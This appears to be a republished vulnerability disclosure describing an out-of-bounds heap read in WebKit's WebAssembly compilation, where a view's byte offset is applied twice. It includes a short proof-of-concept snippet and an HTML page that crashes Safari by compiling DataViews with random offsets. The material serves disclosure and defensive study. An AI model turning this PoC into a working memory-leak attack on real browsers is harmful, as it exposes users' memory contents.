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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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There is an out-of-bounds read when compiling WebAssembly source buffers in WebKit. When a source buffer is compiled, it is first copied into a read-only buffer by the functuion getWasmBufferFromValue. This function returns the code buffer as follows:

return arrayBufferView ? static_cast<uint8_t*>(arrayBufferView->vector()) : static_cast<uint8_t*>(arrayBuffer->impl()->data());

If the source buffer is a view (DataView or TypedArray), arrayBufferView->vector() is returned. The vector() method returns the start of the data in the buffer, including any offset. However, the function createSourceBufferFromValue copies the output of this function as follows:

memcpy(result.data(), data + byteOffset, byteSize);

This means that if the buffer is a view, the offset is added to the buffer twice before this is copied. This could allow memory off the heap to be read out of the source buffer, either though parsing exceptions or data sections when they are copied. A minimal PoC for the issue is:

var b2 = new ArrayBuffer(1000);
var view = new Int8Array(b2, 700);
var mod = new WebAssembly.Module(a);

An HTML file the consistently crashes Safari is attached.
-->

<html><body><script>
for(var q = 0; q < 100; q++){
var i = Math.random();
i = Math.round(i*0x20000000);
i = Math.abs(i);
var b2 = new Uint8Array( i);
console.log("i" + i);
var j = Math.random();
j = j*i;
j = Math.round(j);
j = Math.abs(j);
console.log("j"+j)
var view2 = new DataView(b2.buffer,j);
try{
var mod = new WebAssembly.Module(view2);
}catch(e){
console.log(e);
}
}
</script></body></html>